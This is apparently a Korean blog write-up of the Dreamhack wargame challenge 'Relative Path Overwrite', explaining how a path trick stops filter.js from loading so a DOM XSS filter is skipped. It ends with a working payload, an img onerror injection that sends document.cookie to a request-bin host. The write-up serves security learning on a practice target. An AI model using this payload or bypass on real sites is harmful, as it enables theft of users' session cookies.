CTF, War game

[Dreamhack] Level 2: Relative Path Overwrite

mnzy๐ŸŒฑ 2024. 4. 26. 18:27

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/439

 

Relative Path Overwrite

Description Exercise: Relative Path Overwrite์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.10 bot.py ์ˆ˜์ •, Dockerfile ์ œ๊ณต

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

index.php ํŽ˜์ด์ง€์˜ ์ฝ”๋“œ์ด๋‹ค. 

page ๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ ํ•ด๋‹น ํŽ˜์ด์ง€์— ๋งž๋Š” php ํŒŒ์ผ์„ includeํ•œ๋‹ค. 

ํ•ด๋‹น ์ฝ”๋“œ์—์„œ .., :, / ๊ณผ ๊ฐ™์€ ๋ฌธ์ž๋Š” ํ•„ํ„ฐ๋งํ•˜๊ธฐ ๋•Œ๋ฌธ์— LFI ๊ณต๊ฒฉ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

  <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>

 

vuln.php ์ฝ”๋“œ๋Š” filter.js ๋ผ๋Š” ํŒŒ์ผ์„ ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์˜ src๋กœ ๋กœ๋“œํ•˜๊ณ (filter๋ผ๋Š” ๋ฐฐ์—ด์ด ์ •์˜๋˜์–ด ์žˆ์Œ), param ์ด๋ผ๋Š” id๋ฅผ ๊ฐ–๋Š” pre ํƒœ๊ทธ๋ฅผ ์„ ์–ธํ•œ๋‹ค.


GET ๋ฉ”์†Œ๋“œ๋กœ ์ „๋‹ฌ๋œ param ํŒŒ๋ผ๋ฏธํ„ฐ์— filter.js ์ •์˜๋˜์–ด์žˆ๋Š” filter ๋ฐฐ์—ด ๋ฌธ์ž์—ด๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด nope!!์„ ์ถœ๋ ฅํ•œ๋‹ค. ์ดํ›„  ํ•„ํ„ฐ๋ง๋œ param ๊ฐ’์„ <pre id=param></pre> ์š”์†Œ์˜ inner HTML๋กœ ์‚ฝ์ž…ํ•œ๋‹ค. 

 

์ฆ‰,  URL์„ ์กฐ์ž‘ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ param ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์‚ฝ์ž…ํ•  ๊ฒฝ์šฐ, innerHTML์„ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ทธ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋‹ค. 

//fileter.js
var filter = ["script", "on", "frame", "object"];
<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

 

ํผ์— ์ž‘์„ฑ๋œ ์ž…๋ ฅ๊ฐ’์„ base64๋กœ ์ธ์ฝ”๋”ฉํ•œ ํ›„ escape๋˜์–ด ์‹คํ–‰ํ•œ๋‹ค. 

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

 

vuln.php ๋‚ด์—์„œ ์ด์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์ด innerHTML๋กœ ๋“ค์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— DOM XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ, ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋‹จ์—์„œ XSS ๊ณต๊ฒฉ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋Š” ํ‚ค์›Œ๋“œ๋ฅผ ๋ชจ๋‘ ํ•„ํ„ฐ๋งํ•˜๊ณ  ์žˆ๋‹ค.

์ด ๋•Œ ํ‚ค์›Œ๋“œ๊ฐ€ ๋ชจ์—ฌ์žˆ๋Š” filter ๋ณ€์ˆ˜๋Š” filter.js ํŒŒ์ผ ๋‚ด์— ์„ ์–ธ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ฒซ ์ค„์—์„œ script ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•ด ๋กœ๋“œํ•˜๋ฉด์„œ ์ดˆ๊ธฐํ™”๋˜๋ฏ€๋กœ, ํ‚ค์›Œ๋“œ๋ฅผ ํ•„ํ„ฐ๋งํ•  ๋•Œ ๋งŒ์•ฝ filter๋ผ๋Š” ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ํ•„ํ„ฐ๋ง ์ž์ฒด๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— filter.js๋ฅผ ์ •์ƒ์ ์œผ๋กœ ๋กœ๋“œ์‹œํ‚ค์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

 

filter.js๋ฅผ ๋กœ๋“œํ•  ๋•Œ์—๋Š” ์ ˆ๋Œ€์ฃผ์†Œ๊ฐ€ ์•„๋‹Œ ์ƒ๋Œ€์ฃผ์†Œ๋กœ ๋กœ๋“œํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ˜„์žฌ ๊ฒฝ๋กœ์— ๋”ฐ๋ผ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์€ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๊ฑฐ๋‚˜, ๋กœ๋“œ ์ž์ฒด์— ์‹คํŒจํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ Relative Path Overwrite์„ ์ด์šฉํ•ด ๋ธŒ๋ผ์šฐ์ €์™€ ์„œ๋ฒ„๊ฐ€ ์ธ์‹ํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ๋งŒ๋“  ํ›„, vuln.php์— ์ ‘์†ํ•œ๋‹ค๋ฉด filter ๋ณ€์ˆ˜๊ฐ€ ์ •์˜๋˜์ง€ ์•Š๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค.

//filter.js
var filter = ["script", "on", "frame", "object"];

//vuln.php
<script src="filter.js"></script>

 

 

์ด๋•Œ, index.php/ ํŽ˜์ด์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์†Œ์— ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์‚ฝ์ž…ํ•˜๊ฒŒ ๋˜๋ฉด ์ƒ๋Œ€๊ฒฝ๋กœ์˜€๋˜ script.js ํŒŒ์ผ์ด ์ž˜๋ชป ๋กœ๋“œ๋˜์–ด filter ๋ณ€์ˆ˜๊ฐ€ undefined ๋˜์–ด ํ•„ํ„ฐ๋ง์ด ๋จนํžˆ์ง€ ์•Š๋Š”๋‹ค. 

/index.php?vuln ํŽ˜์ด์ง€์—์„œ ๋ฐœ์ƒํ•˜๋Š” RPO+XSS ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•ด์•ผ ํ•œ๋‹ค.

DOM XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ XSS ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ด์•ผํ•œ๋‹ค. 

 

์ด๋•Œ, ์ฟ ํ‚ค๊ฐ’์„ ํƒˆ์ทจํ•ด์„œ ํ”Œ๋ž˜๊ทธ๊ฐ’์„ ์–ป์–ด๋‚ผ ๊ฒƒ์ด๋‹ค. 

 

- ๋“œ๋ฆผํ•ต  Request Bin ๊ธฐ๋Šฅ ์‚ฌ์šฉ: https://tools.dreamhack.games/

 

๋”ฐ๋ผ์„œ report ํŽ˜์ด์ง€์— ์•„๋ž˜์˜ ๊ฐ’ ์ž…๋ ฅ 

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://xbgfmqj.request.dreamhack.games/"%2bdocument.cookie>

 

 

ํ”Œ๋ž˜๊ทธ ํ™•์ธ